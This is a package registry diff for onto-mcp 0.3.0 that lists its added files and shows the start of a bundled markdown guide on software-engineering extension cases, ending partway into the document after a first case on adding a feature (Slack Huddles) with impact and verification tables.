onto-mcp 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.onto/authority/core-lens-registry.yaml +134 -0
- package/.onto/authority/core-lexicon.yaml +1562 -0
- package/.onto/authority/diagnostic-codes.yaml +94 -0
- package/.onto/domains/accounting/competency_qs.md +384 -0
- package/.onto/domains/accounting/concepts.md +186 -0
- package/.onto/domains/accounting/conciseness_rules.md +160 -0
- package/.onto/domains/accounting/dependency_rules.md +239 -0
- package/.onto/domains/accounting/domain_scope.md +213 -0
- package/.onto/domains/accounting/extension_cases.md +416 -0
- package/.onto/domains/accounting/logic_rules.md +226 -0
- package/.onto/domains/accounting/structure_spec.md +298 -0
- package/.onto/domains/accounting-kr/competency_qs.md +562 -0
- package/.onto/domains/accounting-kr/concepts.md +187 -0
- package/.onto/domains/accounting-kr/conciseness_rules.md +125 -0
- package/.onto/domains/accounting-kr/dependency_rules.md +93 -0
- package/.onto/domains/accounting-kr/domain_scope.md +140 -0
- package/.onto/domains/accounting-kr/extension_cases.md +343 -0
- package/.onto/domains/accounting-kr/logic_rules.md +160 -0
- package/.onto/domains/accounting-kr/structure_spec.md +85 -0
- package/.onto/domains/business/competency_qs.md +263 -0
- package/.onto/domains/business/concepts.md +200 -0
- package/.onto/domains/business/conciseness_rules.md +135 -0
- package/.onto/domains/business/dependency_rules.md +113 -0
- package/.onto/domains/business/domain_scope.md +240 -0
- package/.onto/domains/business/extension_cases.md +249 -0
- package/.onto/domains/business/logic_rules.md +134 -0
- package/.onto/domains/business/structure_spec.md +114 -0
- package/.onto/domains/finance/competency_qs.md +362 -0
- package/.onto/domains/finance/concepts.md +194 -0
- package/.onto/domains/finance/conciseness_rules.md +155 -0
- package/.onto/domains/finance/dependency_rules.md +171 -0
- package/.onto/domains/finance/domain_scope.md +215 -0
- package/.onto/domains/finance/extension_cases.md +350 -0
- package/.onto/domains/finance/logic_rules.md +191 -0
- package/.onto/domains/finance/structure_spec.md +182 -0
- package/.onto/domains/llm-native-development/competency_qs.md +430 -0
- package/.onto/domains/llm-native-development/concepts.md +242 -0
- package/.onto/domains/llm-native-development/conciseness_rules.md +163 -0
- package/.onto/domains/llm-native-development/dependency_rules.md +216 -0
- package/.onto/domains/llm-native-development/domain_scope.md +197 -0
- package/.onto/domains/llm-native-development/extension_cases.md +474 -0
- package/.onto/domains/llm-native-development/logic_rules.md +123 -0
- package/.onto/domains/llm-native-development/prompt_interface.md +49 -0
- package/.onto/domains/llm-native-development/structure_spec.md +245 -0
- package/.onto/domains/market-intelligence/competency_qs.md +274 -0
- package/.onto/domains/market-intelligence/concepts.md +233 -0
- package/.onto/domains/market-intelligence/conciseness_rules.md +165 -0
- package/.onto/domains/market-intelligence/dependency_rules.md +197 -0
- package/.onto/domains/market-intelligence/domain_scope.md +231 -0
- package/.onto/domains/market-intelligence/extension_cases.md +425 -0
- package/.onto/domains/market-intelligence/logic_rules.md +247 -0
- package/.onto/domains/market-intelligence/structure_spec.md +209 -0
- package/.onto/domains/ontology/competency_qs.md +394 -0
- package/.onto/domains/ontology/concepts.md +172 -0
- package/.onto/domains/ontology/conciseness_rules.md +134 -0
- package/.onto/domains/ontology/dependency_rules.md +125 -0
- package/.onto/domains/ontology/domain_scope.md +114 -0
- package/.onto/domains/ontology/extension_cases.md +501 -0
- package/.onto/domains/ontology/logic_rules.md +114 -0
- package/.onto/domains/ontology/problem_framing_profile.md +67 -0
- package/.onto/domains/ontology/structure_spec.md +115 -0
- package/.onto/domains/palantir-foundry/RESEARCH_NOTES.md +911 -0
- package/.onto/domains/palantir-foundry/competency_qs.md +191 -0
- package/.onto/domains/palantir-foundry/competitive_comparison.md +329 -0
- package/.onto/domains/palantir-foundry/concepts.md +197 -0
- package/.onto/domains/palantir-foundry/conciseness_rules.md +245 -0
- package/.onto/domains/palantir-foundry/dependency_rules.md +135 -0
- package/.onto/domains/palantir-foundry/domain_scope.md +395 -0
- package/.onto/domains/palantir-foundry/extension_cases.md +210 -0
- package/.onto/domains/palantir-foundry/logic_rules.md +172 -0
- package/.onto/domains/palantir-foundry/structure_spec.md +291 -0
- package/.onto/domains/software-engineering/competency_qs.md +538 -0
- package/.onto/domains/software-engineering/concepts.md +238 -0
- package/.onto/domains/software-engineering/conciseness_rules.md +167 -0
- package/.onto/domains/software-engineering/dependency_rules.md +216 -0
- package/.onto/domains/software-engineering/domain_scope.md +183 -0
- package/.onto/domains/software-engineering/extension_cases.md +551 -0
- package/.onto/domains/software-engineering/logic_rules.md +240 -0
- package/.onto/domains/software-engineering/problem_framing_profile.md +68 -0
- package/.onto/domains/software-engineering/structure_spec.md +185 -0
- package/.onto/domains/ui-design/competency_qs.md +567 -0
- package/.onto/domains/ui-design/concepts.md +194 -0
- package/.onto/domains/ui-design/conciseness_rules.md +190 -0
- package/.onto/domains/ui-design/dependency_rules.md +323 -0
- package/.onto/domains/ui-design/domain_scope.md +340 -0
- package/.onto/domains/ui-design/extension_cases.md +563 -0
- package/.onto/domains/ui-design/logic_rules.md +349 -0
- package/.onto/domains/ui-design/structure_spec.md +252 -0
- package/.onto/domains/visual-design/competency_qs.md +472 -0
- package/.onto/domains/visual-design/concepts.md +147 -0
- package/.onto/domains/visual-design/conciseness_rules.md +186 -0
- package/.onto/domains/visual-design/dependency_rules.md +282 -0
- package/.onto/domains/visual-design/domain_scope.md +290 -0
- package/.onto/domains/visual-design/extension_cases.md +480 -0
- package/.onto/domains/visual-design/logic_rules.md +232 -0
- package/.onto/domains/visual-design/structure_spec.md +213 -0
- package/.onto/principles/llm-native-development-guideline.md +401 -0
- package/.onto/principles/llm-runtime-interface-principles.md +665 -0
- package/.onto/principles/non-specialist-communication-guideline.md +74 -0
- package/.onto/principles/ontology-as-code-guideline.md +243 -0
- package/.onto/principles/ontology-as-code-naming-charter.md +130 -0
- package/.onto/principles/product-locality-principle.md +129 -0
- package/.onto/principles/productization-charter.md +569 -0
- package/.onto/processes/evolve/material-kind-adapter-contract.md +113 -0
- package/.onto/processes/reconstruct/reconstruct-boundary-contract.md +366 -0
- package/.onto/processes/reconstruct/source-profile-contract.md +107 -0
- package/.onto/processes/reconstruct/source-profiles/code.md +72 -0
- package/.onto/processes/reconstruct/source-profiles/database.md +74 -0
- package/.onto/processes/reconstruct/source-profiles/document.md +71 -0
- package/.onto/processes/reconstruct/source-profiles/spreadsheet.md +79 -0
- package/.onto/processes/review/binding-contract.md +270 -0
- package/.onto/processes/review/execution-preparation-artifacts.md +281 -0
- package/.onto/processes/review/interpretation-contract.md +245 -0
- package/.onto/processes/review/issue-stance-deliberation-contract.md +761 -0
- package/.onto/processes/review/lens-prompt-contract.md +402 -0
- package/.onto/processes/review/lens-registry.md +127 -0
- package/.onto/processes/review/pre-dispatch-contracts.md +428 -0
- package/.onto/processes/review/productized-live-path.md +398 -0
- package/.onto/processes/review/prompt-execution-runner-contract.md +187 -0
- package/.onto/processes/review/record-contract.md +427 -0
- package/.onto/processes/review/record-field-mapping.md +337 -0
- package/.onto/processes/review/review-context-manifest-contract.md +356 -0
- package/.onto/processes/review/review-execution-ux-contract.md +809 -0
- package/.onto/processes/review/review-target-profile-contract.md +259 -0
- package/.onto/processes/review/shared-phenomenon-contract.md +129 -0
- package/.onto/processes/review/synthesize-prompt-contract.md +343 -0
- package/.onto/processes/shared/target-material-kind-contract.md +198 -0
- package/.onto/roles/axiology.md +81 -0
- package/.onto/roles/conciseness.md +36 -0
- package/.onto/roles/coverage.md +34 -0
- package/.onto/roles/dependency.md +37 -0
- package/.onto/roles/evolution.md +35 -0
- package/.onto/roles/logic.md +104 -0
- package/.onto/roles/pragmatics.md +32 -0
- package/.onto/roles/semantics.md +36 -0
- package/.onto/roles/structure.md +33 -0
- package/.onto/roles/synthesize.md +92 -0
- package/AGENTS.md +240 -0
- package/CLAUDE.md +39 -0
- package/README.md +287 -0
- package/bin/onto +92 -0
- package/dist/cli.js +101 -0
- package/dist/core-api/reconstruct-api.js +222 -0
- package/dist/core-api/review-api.js +1271 -0
- package/dist/core-runtime/cli/assemble-review-record.js +431 -0
- package/dist/core-runtime/cli/bootstrap-review-binding.js +186 -0
- package/dist/core-runtime/cli/codex-nested-dispatch.js +226 -0
- package/dist/core-runtime/cli/codex-nested-dispatch.test.js +390 -0
- package/dist/core-runtime/cli/codex-nested-teamlead-executor.js +464 -0
- package/dist/core-runtime/cli/codex-nested-teamlead-executor.test.js +335 -0
- package/dist/core-runtime/cli/codex-review-unit-executor.js +228 -0
- package/dist/core-runtime/cli/complete-review-session.js +64 -0
- package/dist/core-runtime/cli/complexity-assessment.js +153 -0
- package/dist/core-runtime/cli/coordinator-helpers.js +583 -0
- package/dist/core-runtime/cli/coordinator-state-machine-deliberation.test.js +167 -0
- package/dist/core-runtime/cli/coordinator-state-machine.js +794 -0
- package/dist/core-runtime/cli/e2e-codex-multi-agent-fixes.test.js +615 -0
- package/dist/core-runtime/cli/e2e-start-review-session.test.js +312 -0
- package/dist/core-runtime/cli/health.js +44 -0
- package/dist/core-runtime/cli/inline-http-review-unit-executor.js +656 -0
- package/dist/core-runtime/cli/inline-http-review-unit-executor.test.js +567 -0
- package/dist/core-runtime/cli/materialize-review-execution-preparation.js +104 -0
- package/dist/core-runtime/cli/materialize-review-prompt-packets.js +952 -0
- package/dist/core-runtime/cli/migrate-session-roots.js +118 -0
- package/dist/core-runtime/cli/mock-review-unit-executor.js +285 -0
- package/dist/core-runtime/cli/onto-tools.js +369 -0
- package/dist/core-runtime/cli/prepare-review-session.js +272 -0
- package/dist/core-runtime/cli/render-review-final-output.js +350 -0
- package/dist/core-runtime/cli/repo-layout-migration-replace.smoke.test.js +106 -0
- package/dist/core-runtime/cli/review-invoke-auto-resolution.test.js +268 -0
- package/dist/core-runtime/cli/review-invoke-coordinator-topology.test.js +136 -0
- package/dist/core-runtime/cli/review-invoke-resolver-caching.test.js +201 -0
- package/dist/core-runtime/cli/review-invoke-topology-dispatch.test.js +192 -0
- package/dist/core-runtime/cli/review-invoke.js +2030 -0
- package/dist/core-runtime/cli/run-review-prompt-execution.js +2152 -0
- package/dist/core-runtime/cli/session-root-guard.js +168 -0
- package/dist/core-runtime/cli/spawn-watcher.js +173 -0
- package/dist/core-runtime/cli/spawn-watcher.test.js +457 -0
- package/dist/core-runtime/cli/start-review-session.js +68 -0
- package/dist/core-runtime/cli/strip-wrapping-code-fence.js +56 -0
- package/dist/core-runtime/cli/strip-wrapping-code-fence.test.js +79 -0
- package/dist/core-runtime/cli/teamcreate-lens-deliberation-executor.js +412 -0
- package/dist/core-runtime/cli/teamcreate-lens-deliberation-executor.test.js +351 -0
- package/dist/core-runtime/cli/topology-executor-mapping.js +139 -0
- package/dist/core-runtime/cli/topology-executor-mapping.test.js +173 -0
- package/dist/core-runtime/cli/write-review-interpretation.js +81 -0
- package/dist/core-runtime/config/onto-config-cli.js +278 -0
- package/dist/core-runtime/config/onto-config-key-path.js +288 -0
- package/dist/core-runtime/config/onto-config-key-path.test.js +195 -0
- package/dist/core-runtime/config/onto-config-preview.js +108 -0
- package/dist/core-runtime/config/onto-config-preview.test.js +132 -0
- package/dist/core-runtime/discovery/config-chain.js +118 -0
- package/dist/core-runtime/discovery/config-chain.test.js +103 -0
- package/dist/core-runtime/discovery/config-profile.js +199 -0
- package/dist/core-runtime/discovery/config-profile.test.js +233 -0
- package/dist/core-runtime/discovery/host-detection.js +33 -0
- package/dist/core-runtime/discovery/host-detection.test.js +186 -0
- package/dist/core-runtime/discovery/installation-paths.js +21 -0
- package/dist/core-runtime/discovery/installation-paths.test.js +65 -0
- package/dist/core-runtime/discovery/lens-registry.js +60 -0
- package/dist/core-runtime/discovery/lens-registry.test.js +81 -0
- package/dist/core-runtime/discovery/onto-home.js +71 -0
- package/dist/core-runtime/discovery/path-normalization.js +28 -0
- package/dist/core-runtime/discovery/path-normalization.test.js +22 -0
- package/dist/core-runtime/discovery/plugin-path.js +72 -0
- package/dist/core-runtime/discovery/plugin-path.test.js +95 -0
- package/dist/core-runtime/discovery/project-root.js +47 -0
- package/dist/core-runtime/discovery/settings-chain.js +353 -0
- package/dist/core-runtime/discovery/walk-up.js +17 -0
- package/dist/core-runtime/evolve/adapters/code-product/compile/compile-defense.js +344 -0
- package/dist/core-runtime/evolve/adapters/code-product/compile/compile-defense.test.js +915 -0
- package/dist/core-runtime/evolve/adapters/code-product/compile/compile.js +564 -0
- package/dist/core-runtime/evolve/adapters/code-product/compile/compile.test.js +708 -0
- package/dist/core-runtime/evolve/adapters/code-product/parsers/brief-parser.js +165 -0
- package/dist/core-runtime/evolve/adapters/code-product/parsers/brief-parser.test.js +227 -0
- package/dist/core-runtime/evolve/adapters/code-product/validators/validate.js +59 -0
- package/dist/core-runtime/evolve/adapters/code-product/validators/validate.test.js +205 -0
- package/dist/core-runtime/evolve/adapters/methodology/adapter.js +16 -0
- package/dist/core-runtime/evolve/adapters/methodology/adapter.test.js +9 -0
- package/dist/core-runtime/evolve/adapters/methodology/perspectives/authority-consistency.js +298 -0
- package/dist/core-runtime/evolve/adapters/methodology/perspectives/authority-consistency.test.js +70 -0
- package/dist/core-runtime/evolve/adapters/methodology/scope-types/process.js +46 -0
- package/dist/core-runtime/evolve/adapters/methodology/scope-types/process.test.js +73 -0
- package/dist/core-runtime/evolve/adapters/registry.js +47 -0
- package/dist/core-runtime/evolve/adapters/registry.test.js +67 -0
- package/dist/core-runtime/evolve/cli.js +256 -0
- package/dist/core-runtime/evolve/commands/align.js +194 -0
- package/dist/core-runtime/evolve/commands/align.test.js +82 -0
- package/dist/core-runtime/evolve/commands/apply.js +161 -0
- package/dist/core-runtime/evolve/commands/apply.test.js +138 -0
- package/dist/core-runtime/evolve/commands/close.js +39 -0
- package/dist/core-runtime/evolve/commands/close.test.js +99 -0
- package/dist/core-runtime/evolve/commands/defer.js +40 -0
- package/dist/core-runtime/evolve/commands/defer.test.js +134 -0
- package/dist/core-runtime/evolve/commands/draft.js +323 -0
- package/dist/core-runtime/evolve/commands/draft.test.js +178 -0
- package/dist/core-runtime/evolve/commands/e2e-evolve-full-cycle.test.js +208 -0
- package/dist/core-runtime/evolve/commands/error-messages.js +125 -0
- package/dist/core-runtime/evolve/commands/error-messages.test.js +167 -0
- package/dist/core-runtime/evolve/commands/propose-align.js +222 -0
- package/dist/core-runtime/evolve/commands/propose-align.test.js +136 -0
- package/dist/core-runtime/evolve/commands/reconstruct.js +330 -0
- package/dist/core-runtime/evolve/commands/reconstruct.test.js +278 -0
- package/dist/core-runtime/evolve/commands/shared.js +22 -0
- package/dist/core-runtime/evolve/commands/stale-check.js +103 -0
- package/dist/core-runtime/evolve/commands/stale-check.test.js +84 -0
- package/dist/core-runtime/evolve/commands/start.js +887 -0
- package/dist/core-runtime/evolve/commands/start.test.js +396 -0
- package/dist/core-runtime/evolve/config/project-config.js +99 -0
- package/dist/core-runtime/evolve/config/project-config.test.js +170 -0
- package/dist/core-runtime/evolve/renderers/align-packet.js +280 -0
- package/dist/core-runtime/evolve/renderers/align-packet.test.js +332 -0
- package/dist/core-runtime/evolve/renderers/draft-packet.js +303 -0
- package/dist/core-runtime/evolve/renderers/draft-packet.test.js +377 -0
- package/dist/core-runtime/evolve/renderers/format.js +5 -0
- package/dist/core-runtime/evolve/renderers/scope-md.js +237 -0
- package/dist/core-runtime/evolve/renderers/scope-md.test.js +306 -0
- package/dist/core-runtime/govern/cli.js +369 -0
- package/dist/core-runtime/govern/cli.test.js +314 -0
- package/dist/core-runtime/govern/drift-engine.js +103 -0
- package/dist/core-runtime/govern/drift-engine.test.js +319 -0
- package/dist/core-runtime/govern/promote-principle.js +206 -0
- package/dist/core-runtime/govern/promote-principle.test.js +368 -0
- package/dist/core-runtime/govern/queue.js +81 -0
- package/dist/core-runtime/govern/types.js +16 -0
- package/dist/core-runtime/install/cli.js +530 -0
- package/dist/core-runtime/install/detect.js +128 -0
- package/dist/core-runtime/install/detect.test.js +155 -0
- package/dist/core-runtime/install/gitignore-update.js +74 -0
- package/dist/core-runtime/install/gitignore-update.test.js +64 -0
- package/dist/core-runtime/install/install-integration.test.js +373 -0
- package/dist/core-runtime/install/prompts.js +389 -0
- package/dist/core-runtime/install/prompts.test.js +293 -0
- package/dist/core-runtime/install/types.js +26 -0
- package/dist/core-runtime/install/validation.js +295 -0
- package/dist/core-runtime/install/validation.test.js +313 -0
- package/dist/core-runtime/install/writer.js +254 -0
- package/dist/core-runtime/install/writer.test.js +218 -0
- package/dist/core-runtime/learning/extractor.js +461 -0
- package/dist/core-runtime/learning/feedback.js +179 -0
- package/dist/core-runtime/learning/health-report.js +165 -0
- package/dist/core-runtime/learning/health-report.test.js +169 -0
- package/dist/core-runtime/learning/loader.js +388 -0
- package/dist/core-runtime/learning/loader.test.js +102 -0
- package/dist/core-runtime/learning/promote/apply-state.js +240 -0
- package/dist/core-runtime/learning/promote/audit-obligation.js +195 -0
- package/dist/core-runtime/learning/promote/collector.js +432 -0
- package/dist/core-runtime/learning/promote/degraded-state.js +125 -0
- package/dist/core-runtime/learning/promote/domain-doc-proposer.js +166 -0
- package/dist/core-runtime/learning/promote/e2e-promote.test.js +6385 -0
- package/dist/core-runtime/learning/promote/health-snapshot.js +150 -0
- package/dist/core-runtime/learning/promote/insight-reclassifier.js +544 -0
- package/dist/core-runtime/learning/promote/judgment-auditor.js +517 -0
- package/dist/core-runtime/learning/promote/panel-reviewer.js +1158 -0
- package/dist/core-runtime/learning/promote/promote-executor.js +1675 -0
- package/dist/core-runtime/learning/promote/promoter.js +307 -0
- package/dist/core-runtime/learning/promote/retirement.js +122 -0
- package/dist/core-runtime/learning/promote/types.js +23 -0
- package/dist/core-runtime/learning/prompt-sections.js +51 -0
- package/dist/core-runtime/learning/shared/artifact-registry-init.js +45 -0
- package/dist/core-runtime/learning/shared/artifact-registry.js +254 -0
- package/dist/core-runtime/learning/shared/audit-obligation-kernel.js +73 -0
- package/dist/core-runtime/learning/shared/audit-state.js +99 -0
- package/dist/core-runtime/learning/shared/duplicate-check.js +28 -0
- package/dist/core-runtime/learning/shared/llm-caller.js +831 -0
- package/dist/core-runtime/learning/shared/llm-caller.test.js +601 -0
- package/dist/core-runtime/learning/shared/llm-tool-loop.js +393 -0
- package/dist/core-runtime/learning/shared/mode.js +25 -0
- package/dist/core-runtime/learning/shared/paths.js +84 -0
- package/dist/core-runtime/learning/shared/paths.test.js +79 -0
- package/dist/core-runtime/learning/shared/patterns.js +37 -0
- package/dist/core-runtime/learning/shared/recoverability.js +355 -0
- package/dist/core-runtime/learning/shared/recovery-context.js +374 -0
- package/dist/core-runtime/learning/shared/scope.js +1 -0
- package/dist/core-runtime/learning/shared/semantic-classifier.js +94 -0
- package/dist/core-runtime/learning/shared/specs/apply-execution-state-spec.js +42 -0
- package/dist/core-runtime/learning/shared/specs/audit-state-spec.js +37 -0
- package/dist/core-runtime/learning/shared/specs/backup-metadata-spec.js +39 -0
- package/dist/core-runtime/learning/shared/specs/emergency-log-spec.js +41 -0
- package/dist/core-runtime/learning/shared/specs/layout-version-spec.js +38 -0
- package/dist/core-runtime/learning/shared/specs/promote-decisions-spec.js +43 -0
- package/dist/core-runtime/learning/shared/specs/promote-report-spec.js +113 -0
- package/dist/core-runtime/learning/shared/specs/prune-log-spec.js +36 -0
- package/dist/core-runtime/learning/shared/specs/recovery-resolution-spec.js +48 -0
- package/dist/core-runtime/learning/shared/specs/restore-manifest-spec.js +43 -0
- package/dist/core-runtime/learning/shared/specs/spec-helpers.js +64 -0
- package/dist/core-runtime/learning/usage-tracker.js +190 -0
- package/dist/core-runtime/learning/usage-tracker.test.js +176 -0
- package/dist/core-runtime/llm/llm-caller.js +649 -0
- package/dist/core-runtime/llm/llm-tool-loop.js +401 -0
- package/dist/core-runtime/llm/model-switcher.js +62 -0
- package/dist/core-runtime/logger.js +22 -0
- package/dist/core-runtime/onboard/detect-review-axes.js +122 -0
- package/dist/core-runtime/onboard/detect-review-axes.test.js +127 -0
- package/dist/core-runtime/onboard/write-review-block.js +188 -0
- package/dist/core-runtime/onboard/write-review-block.test.js +240 -0
- package/dist/core-runtime/readers/brownfield-builder.js +150 -0
- package/dist/core-runtime/readers/brownfield-builder.test.js +136 -0
- package/dist/core-runtime/readers/code-chunk-collector.js +53 -0
- package/dist/core-runtime/readers/code-chunk-collector.test.js +136 -0
- package/dist/core-runtime/readers/file-utils.js +240 -0
- package/dist/core-runtime/readers/file-utils.test.js +146 -0
- package/dist/core-runtime/readers/lexicon-citation-check.js +93 -0
- package/dist/core-runtime/readers/lexicon-citation-check.test.js +77 -0
- package/dist/core-runtime/readers/mcp-figma.js +30 -0
- package/dist/core-runtime/readers/mcp-figma.test.js +82 -0
- package/dist/core-runtime/readers/mcp-generic.js +31 -0
- package/dist/core-runtime/readers/mcp-generic.test.js +76 -0
- package/dist/core-runtime/readers/ontology-index.js +148 -0
- package/dist/core-runtime/readers/ontology-index.test.js +245 -0
- package/dist/core-runtime/readers/ontology-query.js +168 -0
- package/dist/core-runtime/readers/ontology-query.test.js +311 -0
- package/dist/core-runtime/readers/ontology-resolve.js +48 -0
- package/dist/core-runtime/readers/ontology-resolve.test.js +48 -0
- package/dist/core-runtime/readers/patterns/index.js +7 -0
- package/dist/core-runtime/readers/review-log.js +213 -0
- package/dist/core-runtime/readers/review-log.test.js +313 -0
- package/dist/core-runtime/readers/scan-local.js +102 -0
- package/dist/core-runtime/readers/scan-local.test.js +102 -0
- package/dist/core-runtime/readers/scan-tarball.js +121 -0
- package/dist/core-runtime/readers/scan-tarball.test.js +283 -0
- package/dist/core-runtime/readers/scan-vault.js +34 -0
- package/dist/core-runtime/readers/scan-vault.test.js +81 -0
- package/dist/core-runtime/readers/types.js +42 -0
- package/dist/core-runtime/readers/types.test.js +94 -0
- package/dist/core-runtime/readers/viewpoint-collectors.js +229 -0
- package/dist/core-runtime/reconstruct/artifact-types.js +1 -0
- package/dist/core-runtime/reconstruct/directive-validation.js +123 -0
- package/dist/core-runtime/reconstruct/materialize-preparation.js +251 -0
- package/dist/core-runtime/reconstruct/record.js +198 -0
- package/dist/core-runtime/reconstruct/run.js +578 -0
- package/dist/core-runtime/reconstruct/seed-candidate-validation.js +356 -0
- package/dist/core-runtime/reconstruct/source-observations.js +62 -0
- package/dist/core-runtime/reconstruct/source-profiles.js +73 -0
- package/dist/core-runtime/release-channel/release-channel.js +90 -0
- package/dist/core-runtime/review/artifact-types.js +13 -0
- package/dist/core-runtime/review/citation-audit.js +204 -0
- package/dist/core-runtime/review/citation-audit.test.js +165 -0
- package/dist/core-runtime/review/controlled-lens-deliberation.js +125 -0
- package/dist/core-runtime/review/execution-plan-resolver.js +247 -0
- package/dist/core-runtime/review/execution-plan-resolver.test.js +243 -0
- package/dist/core-runtime/review/execution-topology-resolver-axis-first.test.js +246 -0
- package/dist/core-runtime/review/execution-topology-resolver.js +401 -0
- package/dist/core-runtime/review/execution-topology-resolver.test.js +315 -0
- package/dist/core-runtime/review/failure-records.js +57 -0
- package/dist/core-runtime/review/inline-context-embedder.js +141 -0
- package/dist/core-runtime/review/inline-context-embedder.test.js +154 -0
- package/dist/core-runtime/review/issue-artifact-runtime.js +859 -0
- package/dist/core-runtime/review/legacy-mode-policy.js +88 -0
- package/dist/core-runtime/review/lens-completion-policy.js +17 -0
- package/dist/core-runtime/review/materializers-effort-persist.test.js +79 -0
- package/dist/core-runtime/review/materializers.js +963 -0
- package/dist/core-runtime/review/ontology-path-classifier.js +179 -0
- package/dist/core-runtime/review/ontology-path-classifier.test.js +216 -0
- package/dist/core-runtime/review/packet-boundary-policy.js +215 -0
- package/dist/core-runtime/review/packet-boundary-policy.test.js +107 -0
- package/dist/core-runtime/review/participating-lens-paths.js +61 -0
- package/dist/core-runtime/review/participating-lens-paths.test.js +73 -0
- package/dist/core-runtime/review/review-artifact-utils.js +287 -0
- package/dist/core-runtime/review/review-config-legacy-translate.js +244 -0
- package/dist/core-runtime/review/review-config-legacy-translate.test.js +161 -0
- package/dist/core-runtime/review/review-config-validator.js +289 -0
- package/dist/core-runtime/review/review-config-validator.test.js +236 -0
- package/dist/core-runtime/review/review-execution-profile.js +193 -0
- package/dist/core-runtime/review/review-execution-route.js +52 -0
- package/dist/core-runtime/review/review-progress-contract.js +123 -0
- package/dist/core-runtime/review/review-record-validation.js +251 -0
- package/dist/core-runtime/review/review-result-classification.js +379 -0
- package/dist/core-runtime/review/review-state-machine.js +39 -0
- package/dist/core-runtime/review/route-visibility.js +125 -0
- package/dist/core-runtime/review/shape-pipeline-audit.test.js +311 -0
- package/dist/core-runtime/review/shape-to-topology-id.js +117 -0
- package/dist/core-runtime/review/shape-to-topology-id.test.js +132 -0
- package/dist/core-runtime/review/topology-shape-derivation.js +155 -0
- package/dist/core-runtime/review/topology-shape-derivation.test.js +195 -0
- package/dist/core-runtime/scope-runtime/constants.js +12 -0
- package/dist/core-runtime/scope-runtime/constraint-pool.js +166 -0
- package/dist/core-runtime/scope-runtime/constraint-pool.test.js +674 -0
- package/dist/core-runtime/scope-runtime/domain-validation-log.js +135 -0
- package/dist/core-runtime/scope-runtime/domain-validation-log.test.js +156 -0
- package/dist/core-runtime/scope-runtime/eval-persistence.js +65 -0
- package/dist/core-runtime/scope-runtime/eval-persistence.test.js +84 -0
- package/dist/core-runtime/scope-runtime/event-pipeline.js +64 -0
- package/dist/core-runtime/scope-runtime/event-pipeline.test.js +450 -0
- package/dist/core-runtime/scope-runtime/event-store.js +39 -0
- package/dist/core-runtime/scope-runtime/event-store.test.js +95 -0
- package/dist/core-runtime/scope-runtime/gate-guard.js +348 -0
- package/dist/core-runtime/scope-runtime/gate-guard.test.js +1047 -0
- package/dist/core-runtime/scope-runtime/hash.js +4 -0
- package/dist/core-runtime/scope-runtime/hash.test.js +33 -0
- package/dist/core-runtime/scope-runtime/id.js +4 -0
- package/dist/core-runtime/scope-runtime/id.test.js +17 -0
- package/dist/core-runtime/scope-runtime/reducer.js +297 -0
- package/dist/core-runtime/scope-runtime/reducer.test.js +759 -0
- package/dist/core-runtime/scope-runtime/scope-manager.js +161 -0
- package/dist/core-runtime/scope-runtime/state-machine.js +309 -0
- package/dist/core-runtime/scope-runtime/state-machine.test.js +704 -0
- package/dist/core-runtime/scope-runtime/types.js +116 -0
- package/dist/core-runtime/scope-runtime/types.test.js +69 -0
- package/dist/core-runtime/target-material-kind.js +256 -0
- package/dist/core-runtime/translate/render-for-user.js +169 -0
- package/dist/core-runtime/translate/render-for-user.test.js +122 -0
- package/dist/mcp/server.js +1011 -0
- package/dist/mcp/tool-schemas.js +93 -0
- package/dist/providers/capability-contract.js +1 -0
- package/package.json +68 -0
- package/settings.example.json +33 -0
|
@@ -0,0 +1,551 @@
|
|
|
1
|
+
---
|
|
2
|
+
version: 3
|
|
3
|
+
last_updated: "2026-03-31"
|
|
4
|
+
source: bundled-domain-baseline
|
|
5
|
+
status: established
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Software Engineering Domain — Extension Cases
|
|
9
|
+
|
|
10
|
+
Classification axis: **change trigger** — cases classified by the type of change that triggers structural evolution. Cases cover both growth triggers (Cases 1–11) and shrinkage triggers (Cases 12–13).
|
|
11
|
+
|
|
12
|
+
The evolution agent simulates each scenario to verify whether the existing structure breaks.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Case 1: Adding a New Feature
|
|
17
|
+
|
|
18
|
+
### Situation
|
|
19
|
+
|
|
20
|
+
Adding new functionality to an existing module structure without violating module boundaries or breaking existing code (Open-Closed Principle).
|
|
21
|
+
|
|
22
|
+
### Case Study: Slack — Huddles (2021)
|
|
23
|
+
|
|
24
|
+
Slack added real-time audio (Huddles) to an asynchronous text messaging platform. Audio requires WebRTC connections and media servers — fundamentally different infrastructure from HTTP-based messaging. Slack isolated Huddles in a separate module with its own data model, integrating with the existing workspace/channel model through defined interfaces. Existing messaging tests remained unaffected.
|
|
25
|
+
|
|
26
|
+
### Impact Analysis
|
|
27
|
+
|
|
28
|
+
| Principle | Impact |
|
|
29
|
+
|---|---|
|
|
30
|
+
| Module boundaries | New feature should map to a new module or extend an existing one via its public interface |
|
|
31
|
+
| Dependency direction | New module must depend inward, not introduce reverse dependencies |
|
|
32
|
+
| Test isolation | Existing test suites must pass without modification |
|
|
33
|
+
| API surface | Public API additions must be backward compatible (new endpoints, optional fields) |
|
|
34
|
+
|
|
35
|
+
### Verification Checklist
|
|
36
|
+
|
|
37
|
+
- [ ] Can the feature be added as a new module without modifying existing modules? → concepts.md §Architecture Core Terms ([L2] OCP)
|
|
38
|
+
- [ ] Existing tests pass without modification → logic_rules.md §Testing Logic
|
|
39
|
+
- [ ] New module follows dependency direction rules → dependency_rules.md §Direction Rules
|
|
40
|
+
- [ ] Public API changes are backward compatible → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
|
|
41
|
+
- [ ] New dependencies do not create cycles → dependency_rules.md §Acyclic Dependencies
|
|
42
|
+
- [ ] Module size stays within thresholds → structure_spec.md §Quantitative Thresholds
|
|
43
|
+
|
|
44
|
+
### Affected Files
|
|
45
|
+
|
|
46
|
+
| File | Impact | Section |
|
|
47
|
+
|---|---|---|
|
|
48
|
+
| structure_spec.md | Verify | §Required Module Structure Elements, §Architectural Patterns |
|
|
49
|
+
| dependency_rules.md | Verify | §Direction Rules, §Acyclic Dependencies |
|
|
50
|
+
| logic_rules.md | Verify | §Testing Logic, §Inter-module Contract Logic |
|
|
51
|
+
| concepts.md | Potential | New terms if the feature introduces new domain concepts |
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## Case 2: External Dependency Change
|
|
56
|
+
|
